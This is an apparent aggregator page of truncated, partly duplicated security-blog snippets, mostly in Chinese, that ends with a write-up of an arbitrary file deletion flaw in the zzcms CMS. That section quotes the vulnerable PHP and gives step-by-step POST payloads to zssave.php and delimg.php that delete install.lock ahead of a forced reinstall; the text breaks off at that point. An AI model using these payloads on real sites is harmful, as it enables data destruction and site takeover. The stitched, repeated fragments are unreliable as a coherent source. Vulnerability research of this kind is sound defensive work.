Aggregator

责任编辑：支书Woojune前些日子，团队 heeeeen 大牛，发了一篇全英文的CVE-2016-6763

责任编辑：支书Woojune前些日子，团队 heeeeen 大牛，发了一篇全英文的CVE-2016-6763

本期公众号内容是小编在第六届全国计算机取证技术研讨会上做的《电子数据取证在知识产权保护中的应用》的报告。

本期公众号内容是小编在第六届全国计算机取证技术研讨会上做的《电子数据取证在知识产权保护中的应用》的报告。

Form1 private void button1_Click(object sender, EventArgs e) { Form f = new Form2(ref listView1); f.Activate(); f.Show(); } Form2 ...

最近在 51Nod 学习贪心算法入门，就把做题目的思路一些记录下来，欢迎指正。 题目详情我们要给每个字母配一个1-26之间的整数，具体怎么分配由你决定，但不同字母的

Yahoo Inc. just revealed its second major breach in a year. Its first disclosure, taking place in September, claimed that...

The post A Billion Users Affected by Latest Yahoo Breach appeared first on McAfee Blog.

近日，Google发布了2016年12月份的Android安全公告，修复了我们发现的一个有关Telephon

近日，Google发布了2016年12月份的Android安全公告，修复了我们发现的一个有关Telephon

SummaryThis month Google has fixed a vulnerability we

SummaryThis month Google has fixed a vulnerability we

最近开始学 ASP.NET，然后发现 Cookie 的设置不像 PHP 简单粗暴(PHP Cookie用法)，于是就造个轮子省事，注释很详细，这里就不再赘言。 using System; using System.Collections.Generic; using System.Linq; using System.Net; using

美剧 WestWorld 第二集里有个场景十分有意思：游客来到西部世界公园，遇到了一个漂亮的女接待员，但无法区分对方是否是人类，于是产生了如下对话： Guest: "Are you real?" -- Are you a Human or a Host? Host: "If you can't te

0x00 简介XG SDK是一个流行的Android app推送SDK，有不少流行Android app均在

0x00 简介XG SDK是一个流行的Android app推送SDK，有不少流行Android app均在

TrickBot, the latest arrival to the banking malware scene and successor to the infamous Dyre botnet, is in constant flux.

2016 has been quite the year. From widespread IoT attacks, to ransomware campaigns that extract millions of dollars, cyberthreats have...

The post From the Cloud to Drones: Threat Predictions for 2017 appeared first on McAfee Blog.

先来看可以导致任意文件删除的地方，在E:/www/zzcms/user/delimg.php中第12行:

$id=$_REQUEST['id']; $sql="select img,img2,img3,flv,editor from zzcms_main where id ='$id'"; $rs=mysql_query($sql); $row=mysql_fetch_array($rs); if ($_REQUEST['action']==1){ if ($row['img']<>"/image/nopic.gif"){ $f="../".substr($row['img'],1); if (file_exists($f)){ unlink($f); }

这里有一个任意文件删除的操作，也就是从zzcms_main中查询出来的img字段值做了一个删除操作。但是这个地方的$id虽然我们不能注入，但是是我们可控的，所以我们找一个入库的地方看看。

在/user/zssave.php中第107行:

if ($_POST["action"]=="add"){ $isok=mysql_query("Insert into zzcms_main(proname,bigclasszm,smallclasszm,shuxing,szm,prouse,gg,pricels,sm,img,img2,img3,flv,province,city,xiancheng,zc,yq,title,keywords,description,sendtime,timefororder,editor,userid,groupid,qq,comane,renzheng,skin) values('$cp_name','$bigclassid','$smallclassid','$shuxing','$szm','$gnzz','$gg','$lsj','$sm','$img1','$img2','$img3','$flv','$province','$city','$xiancheng','$zc','$yq','$title','$keyword','$discription','".date('Y-m-d H:i:s')."','$TimeNum','$username','$userid','$groupid','$qq','$comane','$renzheng','$skin')") ; $cpid=mysql_insert_id(); }elseif ($_POST["action"]=="modify"){ $oldimg1=trim($_POST["oldimg1"]); $oldimg2=trim($_POST["oldimg2"]); $oldimg3=trim($_POST["oldimg3"]); $oldflv=trim($_POST["oldflv"]); $isok=mysql_query("update zzcms_main set proname='$cp_name',bigclasszm='$bigclassid',smallclasszm='$smallclassid',shuxing='$shuxing',szm='$szm',prouse='$gnzz',gg='$gg',pricels='$lsj',sm='$sm',img='$img1',img2='$img2',img3='$img3',flv='$flv',province='$province',city='$city',xiancheng='$xiancheng',zc='$zc',yq='$yq',title='$title',keywords='$keyword',description='$discription',sendtime='".date('Y-m-d H:i:s')."',timefororder='$TimeNum',editor='$username',userid='$userid',groupid='$groupid',qq='$qq',comane='$comane',renzheng='$renzheng',skin='$skin',passed=0 where id='$cpid'");

可以看到对应着action的不同，sql语句也不同，第一个是Insert，第二个update。我们看到在两个sql语句中都有img这个字段。并且相对应的的值$img1也是我们可控的：

$img1=$_POST["img1"];

其次就是对于update语句，我们还能控制update哪一行，因为主键id的值也是我们可控的：

$cpid=$_POST["ypid"];

所以结合上面所说，我们能够控制任意zzcms_main表中任意一行img字段的值，所以说我们能够删除任意文件。

漏洞利用：
首先为了防止zzcms_main表中没有任何数据，所以我们首先进行一个增加数据的操作:
payload:

http://localhost/user/zssave.php POST: action=add&img1=1

然后我们开始更新第一行的img字段的值，payload：

http://localhost/user/zssave.php POST: action=modify&img1=/install/install.lock&ypid=1

然后我们再进行删除操作：

http://localhost/user/delimg.php

POST: action=1&id=1
就能删除掉install.lock文件啦。然后开始重装：